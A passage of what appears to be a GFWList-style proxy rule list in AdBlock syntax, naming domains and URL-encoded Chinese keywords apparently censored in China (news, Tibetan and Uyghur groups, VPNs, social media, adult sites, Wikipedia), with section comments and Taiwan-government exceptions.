||storify.com\\n||stoweboyd.com\\n||streamingthe.net\\ncn.streetvoice.com/article\\ncn.streetvoice.com/diary\\ncn2.streetvoice.com\\ntw.streetvoice.com\\n||strongvpn.com\\n.student.tw/db\\n||studentsforafreetibet.org\\n||stumbleupon.com\\nstupidvideos.com\\n.sugarsync.com\\n||sugarsync.com\\nsummify.com\\nsun1911.com\\n.sunporno.com\\n||sunporno.com\\n.surfeasy.com\\n||surfeasy.com\\n.suyangg.com\\n|http://suyangg.com/\\n.suoluo.org\\napi.supertweet.net\\nwww.supertweet.net\\n.surfeasy.com.au\\n||surrenderat20.net\\n||svwind.com\\n||sweux.com\\n||swift-tools.net\\n.sydneytoday.com\\n.sylfoundation.org\\n||syncback.com\\n||sysadmin1138.net\\nsysresccd.org\\n.sytes.net\\nblog.syx86.com/2009/09/puff\\nblog.syx86.cn/2009/09/puff\\n.szbbs.net\\n||szetowah.org.hk\\n\\n!--------------------------TT--------------------------\\n.t35.com\\n.t66y.com\\n||t66y.com\\n||t88.ca\\n.taa-usa.org\\n|http://taa-usa.org\\n|http://www.tablesgenerator.com/\\ntabtter.jp\\n.tacem.org\\n||tafaward.com\\ntagwalk.com\\n||tagwalk.com\\ntahr.org.tw\\ntaipei.gov.tw\\n.taipeisociety.org\\n||taipeisociety.org\\n.taiwandaily.net\\n||taiwantt.org.tw\\n||taiwandaily.net\\ntaiwankiss.com\\ntaiwannation.com\\ntaiwannation.com.tw\\n||taiwannews.com.tw\\n|http://www.taiwanonline.cc/\\ntaiwantp.net\\ntaiwanus.net\\ntaiwanyes.com\\ntaiwan-sex.com\\n.talk853.com\\n.talkboxapp.com\\n||talkboxapp.com\\n||tamiaode.tk\\n||tanc.org\\ntangben.com\\n.taolun.info\\n||taolun.info\\nblog.taragana.com\\n||taup.net\\n|http://www.taup.org.tw\\n.taweet.com\\n||taweet.com\\n||tbpic.info\\n||tbsec.org\\n||tbsn.org\\n.tbsseattle.org\\n.tccwonline.org\\n.tcewf.org\\ntchrd.org\\n||techlifeweb.com\\n!--technorati.com\\n||techparaiso.com\\n||teck.in\\nteensinasia.com\\n.telecomspace.com\\n||telegram.org\\n||telegraph.co.uk\\n.tenacy.com\\n.tew.org\\n||theatrum-belli.com\\n||thebodyshop-usa.com\\ntheblemish.com\\n||thebcomplex.com\\n||thebobs.com\\n.thechinabeat.org\\n|http://www.thechinastory.org/yearbooks/yearbook-2012/\\n||thedieline.com\\n||thedw.us\\nthefrontier.hk/tf\\n!--||thegatesnotes.com\\n|http://thegioitinhoc.vn/\\n.thehots.info\\nthehousenews.com\\n||thehun.net\\n.theinitium.com\\n||theinitium.com\\n||thelifeyoucansave.com\\n.thenewslens.com\\nthepiratebay.org\\n!--||thepiratebay.se\\nthereallove.kr\\n||thesartorialist.com\\nthespeeder.com\\n||thestandnews.com\\nthetibetconnection.org\\n.thetibetmuseum.org\\n||thetibetpost.com\\nthetrotskymovie.com/\\nthevivekspot.com\\n||thewgo.org\\n.thinkingtaiwan.com\\n.thisav.com\\n|http://thisav.com\\n||thomasbernhard.org\\nthreatchaos.com\\n||throughnightsfire.com\\n.thumbzilla.com\\n||thywords.com\\ntiananmenmother.org\\n||tiananmenuniv.com\\n||tiananmenuniv.net\\n||tiandixing.org\\n.tianhuayuan.com\\n.tianlawoffice.com\\ntiantibooks.org\\n.tianzhu.org\\n.tibet.at\\ntibet.ca\\n.tibet.com\\n||tibet.com\\ntibet.fr\\n.tibet.net\\n||tibet.net\\ntibet.nu\\n.tibet.org\\n||tibet.org\\ntibet.org.tw\\n.tibet-foundation.org\\n.tibet-house-trust.co.uk\\ntibet-info.net\\ntibet-initiative.de\\n||tibet-initiative.de\\n.tibet-munich.de\\n.tibetaid.org\\ntibetalk.com\\ntibetan-alliance.org\\n.tibetanarts.org\\n.tibetcollection.com\\ntibetanculture.org\\n.tibetanpaintings.com\\n.tibetanphotoproject.com\\n.tibetanwomen.org\\n|http://tibetanwomen.org\\n.tibetanyouthcongress.org\\n||tibetanyouthcongress.org\\n.tibetcharity.dk\\ntibetcharity.in\\n.tibetcity.com\\n.tibetcorps.org\\ntibetfocus.com\\ntibetfund.org\\ntibethouse.jp\\ntibethouse.org\\n||tibethouse.us\\ntibettimes.net\\n.tibetjustice.org\\n|http://tibetmuseum.org\\ntibetnetwork.org\\n||tibetnetwork.org\\n.tibetoffice.ch\\n|http://tibetoffice.ch\\ntibetoffice.org\\ntibetonline.com\\n||tibetonline.com\\n.tibetoffice.com.au\\n|http://tibetoffice.com.au\\n||tibetonline.tv\\n.tibetonline.tv\\n.tibetoralhistory.org\\n.tibetrelieffund.co.uk\\ntibetsites.com\\n.tibetsun.com\\n||tibetwrites.org\\n.time.com/time/time100/leaders/profile/rebel\\n.time.com/time/specials/packages/article/0,28804\\n.time.com/time/magazine\\n||blog.tiney.com\\n.tiny.cc\\n|http://tiny.cc\\ntinychat.com\\n||tinypaste.com\\n.tistory.com\\n||tkcs-collins.com\\n||tkforum.tk\\n.tmagazine.com\\n||tmagazine.com\\n|http://tmi.me\\n.tnaflix.com\\n||tnaflix.com\\n.tnp.org\\n|http://tnp.org\\ntogetter.com\\n.tokyo-247.com\\ntokyo-hot.com\\n||tokyocn.com\\ntw.tomonews.net\\n.tono-oka.jp\\ntonyyan.net\\n.toodoc.com\\ntoonel.net\\n.topnews.in\\n||topshare.us\\n.topshareware.com\\n||topstyle4.com\\n||topsy.com\\n.topsy.com\\n||toptip.ca\\ntora.to\\n.torproject.org\\n||torproject.org\\ntorrentcrazy.com\\n||torrentcrazy.com\\n||torrentproject.se\\n||torrentz.eu\\n||torvpn.com\\ntouch99.com\\n||toutfr.com\\n.tpi.org.tw\\n||tpi.org.tw\\n||transgressionism.org\\n||transparency.org\\n||travelinlocal.com\\n||treemall.com.tw\\ntrendsmap.com\\n||trendsmap.com\\n.trialofccp.org\\n||trialofccp.org\\n||tripod.com\\n@@||www.tripod.com\\n.trouw.nl\\n.trt.net.tr\\ntrtc.com.tw\\ntrulyergonomic.com\\n||trustedbi.com\\n.truth101.co.tv\\n|http://truth101.co.tv\\n||truthcn.com\\n.truveo.com\\n.tsemtulku.com\\ntsquare.tv\\n.tsu.org.tw\\ntsunagarumon.com\\n|http://www.tsuru-bird.net/\\n.tsctv.net\\n||tt-rss.org\\n||tt1069.com\\n||tttan.com\\n.tttan.com\\nbb.ttv.com.tw/bb\\ntu8964.com\\n.tuanzt.com\\n.tube.com\\ntube8.com\\n||tube8.com\\n.tube911.com\\n||tube911.com\\ntubecao.com\\n||tubewolf.com\\ntuidang.net\\ntuidang.org\\nbbs.tuitui.info\\n||tumutanzi.com\\n.tunein.com\\n|http://tunein.com\\n||tunnelbear.com\\n.tuo8.hk\\n.tuo8.org\\n||tuo8.org\\n.turbobit.net\\n|http://turbobit.net\\n||turningtorso.com\\n||tuxtraining.com\\n|http://tuzaijidi.com\\n|http://*.tuzaijidi.com\\n.tw01.org\\n|http://tw01.org\\n\\n!-------------Tumblr-----\\n!--||tumblr.com\\n!--@@||assets.tumblr.com\\n!--@@||data.tumblr.com\\n!--@@||media.tumblr.com\\n!--@@||static.tumblr.com\\n!--@@||www.tumblr.com\\n||fqrouter.tumblr.com\\n\\n.tv.com\\n||www.tv.com\\n|http://tv.com\\n||tv-intros.com\\ntvants.com\\nforum.tvb.com/\\nnews.tvb.com/list/world\\ntvboxnow.com\\ntvider.com\\n||tvunetworks.com\\n.tw-npo.org\\ntwapperkeeper.com\\n||twapperkeeper.com\\n||twaud.io\\n.twaud.io\\n.twbbs.net.tw\\ntwbbs.org\\ntwbbs.tw\\n||twblogger.com\\ntweepmag.com\\n.tweepml.org\\n||tweepml.org\\n.tweetbackup.com\\n||tweetbackup.com\\ntweetboard.com\\n||tweetboard.com\\n.tweetboner.biz\\n||tweetboner.biz\\n.tweetdeck.com\\n||tweetdeck.com\\n|http://deck.ly\\n!-- Operation discontinued\\n!--||tweete.net\\n!--m.tweete.net\\n||mtw.tl\\n||tweetedtimes.com\\n!-- Operation discontinued\\n!--tweetmeme.com\\n||tweetmylast.fm\\ntweetphoto.com\\n||tweetphoto.com\\n||tweetrans.com\\ntweetree.com\\n||tweetree.com\\n||tweetwally.com\\ntweetymail.com\\n||twftp.org\\ntwibase.com\\n.twibble.de\\n||twibble.de\\ntwibbon.com\\n||twibs.com\\ntwicsy.com\\n.twifan.com\\n|http://twifan.com\\ntwiffo.com\\n||twiffo.com\\ntwilog.org\\ntwimbow.com\\n||twimbow.com\\n||twindexx.com\\ntwipple.jp\\n||twipple.jp\\n||twip.me/\\ntwistar.cc\\n||twister.net.co\\n||twisterio.com\\ntwisternow.com\\ntwistory.net\\ntwitbrowser.net\\n||twitcause.com\\n||twitgether.com\\n||twiggit.org\\ntwitgoo.com\\ntwitiq.com\\n||twitiq.com\\n.twitlonger.com\\n||twitlonger.com\\n|http://tl.gd/\\ntwitoaster.com\\n||twitoaster.com\\n||twitonmsn.com\\n.twitpic.com\\n||twitpic.com\\n!--Same IP\\n.twit2d.com\\n||twit2d.com\\n.twitstat.com\\n||twitstat.com\\n||firstfivefollowers.com\\n||retweeteffect.com\\n||tweeplike.me\\n||tweepguide.com\\n||turbotwitter.com\\n.twitvid.com\\n||twitvid.com\\n\\n199.59.148.20\\n||t.co\\n.t.co\\n|http://twt.tl\\ntwittbot.net\\ntwitter.com\\n||twitter.com\\n||twitter.jp\\n||twttr.com\\n/^https?:\\\\/\\\\/[^\\\\/]+twitter\\\\.com/\\n\\n||twitter4j.org\\n.twittercounter.com\\n||twittercounter.com\\ntwitterfeed.com\\n.twittergadget.com\\n||twittergadget.com\\n.twitterkr.com\\n||twitterkr.com\\n||twittermail.com\\ntwittertim.es\\n||twittertim.es\\ntwitthat.com\\n||twitturk.com\\n.twitturly.com\\n||twitturly.com\\n.twitzap.com\\ntwiyia.com\\n||twstar.net\\n\\n.twtkr.com\\n|http://twtkr.com\\n||twimg.com\\ntwtrland.com\\ntwurl.nl\\n.twyac.org\\n||twyac.org\\n.tycool.com\\n||tycool.com\\n||tzangms.com\\n\\n!--typepad\\n||typepad.com\\n@@||www.typepad.com\\n@@||static.typepad.com\\n||blog.expofutures.com\\n||legaltech.law.com\\n||latimesblogs.latimes.com\\n||blog.palm.com\\n||blogs.tampabay.com\\n||contests.twilio.com\\n!-lawprofessors.typepad.com/china_law_prof\\n\\n!-------------Twitese-----\\nembr.in\\n||embr.in\\nguomin.us/login\\n\\n!--------------------------UU--------------------------\\n||uberproxy.net\\n.srcf.ucam.org/salon/\\n||ucdc1998.org\\n|http://hum*.uchicago.edu/faculty/ywang/history\\n||uderzo.it\\n||udn.com\\n.udn.com\\n||uforadio.com.tw\\nufreevpn.com\\n.ugo.com\\n||uhrp.org\\n.uighur.nl\\n||uighur.nl\\nuighurbiz.net\\n.ulike.net\\nukliferadio.co.uk\\n||ukliferadio.co.uk\\nultravpn.fr\\n||ultravpn.fr\\nultraxs.com\\numich.edu/~falun\\n||unblock.cn.com\\n||unblocksit.es\\nuncyclomedia.org\\nuncyclopedia.info\\n|http://uncyclopedia.tw\\n||unholyknight.com\\n.uni.cc\\nunicode.org\\n.unification.org.tw\\n.uniteddaily.com.my/index.php?\\n.unix100.com\\n||unknownspace.org\\nunpo.org\\n||uocn.org\\ntor.updatestar.com\\n.upholdjustice.org\\n.upload4u.info\\n|http://uploaded.net/file/\\n.uploaded.to/file\\n|http://uploaded.to/file\\n.uploadstation.com/file\\n.upwill.org\\nwww.urbanoutfitters.com\\nmyshare.url.com.tw/\\n||urlborg.com\\n||urlparser.com\\nus.to\\n||usacn.com\\nbeta.usejump.com\\n||usfk.mil\\n||usma.edu\\n||usmc.mil\\n|http://tarr.uspto.gov/\\n||tsdr.uspto.gov\\n.ustream.tv\\n||ustream.tv\\n||ustwrap.info\\nusus.cc\\n.uwants.com\\n.uwants.net\\n|http://uyghur-j.org\\n||uyghuramerican.org\\n.uyghurcanadiansociety.org\\n.uyghurensemble.co.uk\\n||uyghurcongress.org\\n.uyghurpen.org\\n.uyghurpress.com\\nuygur.org\\n|http://uymaarip.com/\\n\\n!--------------------------VV--------------------------\\n||v2dn.com\\n!--|http://cdn.v2ex.com\\n!--|http://v2ex.com\\n!--|http://www.v2ex.com\\n||vaayoo.com\\n.van698.com\\n.vanemu.cn\\n.vanilla-jp.com\\nvansky.com\\n||vcf-online.org\\n||vcfbuilder.org\\n.velkaepocha.sk\\n.venbbs.com\\n.venchina.com\\nveoh.com\\n.verizon.net\\n||verybs.com\\n.vft.com.tw\\n.viber.com\\nvideobam.com\\n||videobam.com\\n.videomega.tv\\n||videomega.tv\\n.videomo.com\\n||vidoemo.com\\nvideopediaworld.com\\n||viki.com\\nvimeo.com\\n||vimgolf.com\\n||vimperator.org\\n||vincnd.com\\n||vinniev.com\\n|http://www.lib.virginia.edu/area-studies/Tibet/tibet.html\\n|http://ny.visiontimes.com/\\n.vivatube.com\\n.vivthomas.com\\n||vivthomas.com\\n.vjmedia.com.hk\\n.vllcs.org\\n||vmixcore.com\\ncn.voa.mobi\\ntw.voa.mobi\\n.voachineseblog.com\\n||voachineseblog.com\\n!--voachineseblog.com/heqinglian\\nvoagd.com\\nvoacantonese.com\\n||voacantonese.com\\nvoachinese.com\\n||voachinese.com\\nvoatibetan.com\\n||voatibetan.com\\n.voanews.com\\nvocn.tv\\n.vot.org\\n||vot.org\\nwww.voy.com\\n||www.vpncup.com\\nvpnbook.com\\nvpnfire.com\\n.vpnforgame.net\\n||vpnforgame.net\\n||vpngate.jp\\n.vpngate.net\\n||vpngate.net\\n||vpnpop.com\\n||vpnpronet.com\\n||vpnreviewz.com\\n.vporn.com\\n||vporn.com\\n||vtunnel.com\\n\\n!--------------------------WW--------------------------\\n||w.org\\nlists.w3.org/archives/public\\n||w3schools.com\\n||waffle1999.com\\n.wahas.com\\n.waigaobu.com\\nwaikeung.org/php_wind\\n.waiwaier.com\\n|http://waiwaier.com\\nwallornot.org\\n||wallpapercasa.com\\n||www.wan-press.org\\n||wanderinghorse.net\\n||wangafu.net\\n||wangjinbo.org\\n.wangjinbo.org\\nwanglixiong.com\\nwangruoshui.net\\nwww.wangruowang.org\\nwant-daily.com\\nwapedia.mobi/zhsimp\\n||waselpro.com\\n.wattpad.com\\n||wattpad.com\\n.makzhou.warehouse333.com\\nwasheng.net\\n||watchmygf.net\\n||wav.tv\\n.wdf5.com\\n.wearn.com\\n||wearn.com\\n||hudatoriq.web.id\\n||web2project.net\\nwebbang.net\\nweblagu.com\\n||webmproject.org\\nwebs-tv.net\\n!--webshots.com\\nwebsitepulse.com/help/testtools.china-test.html\\n|http://www.websnapr.com\\nwebworkerdaily.com\\n.weekmag.info\\n||wefightcensorship.org\\n.wefong.com\\nweiboleak.com\\nweijingsheng.org\\n.weiming.info\\n||weiming.info\\nweiquanwang.org\\n|http://weisuo.ws\\n.wemigrate.org\\nwengewang.com\\n||wengewang.org\\n.wenhui.ch\\n|http://trans.wenweipo.com/gb/\\nwenxuecity.com\\n.wenyunchao.com\\n||wenyunchao.com\\nwestca.com\\n||westca.com\\n||westernwolves.com\\n.westkit.net\\n||westpoint.edu\\nwww.wet123.com\\n||wepn.info\\n.westernshugdensociety.org\\nwetpussygames.com\\n.wetplace.com\\nwexiaobo.org\\n||wexiaobo.org\\nwezhiyong.org\\n||wezone.net\\n.wforum.com\\n||wforum.com/\\n.whatblocked.com\\n||whatblocked.com\\n.whippedass.com\\n|http://who.is/\\nwhylover.com\\n||whyx.org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov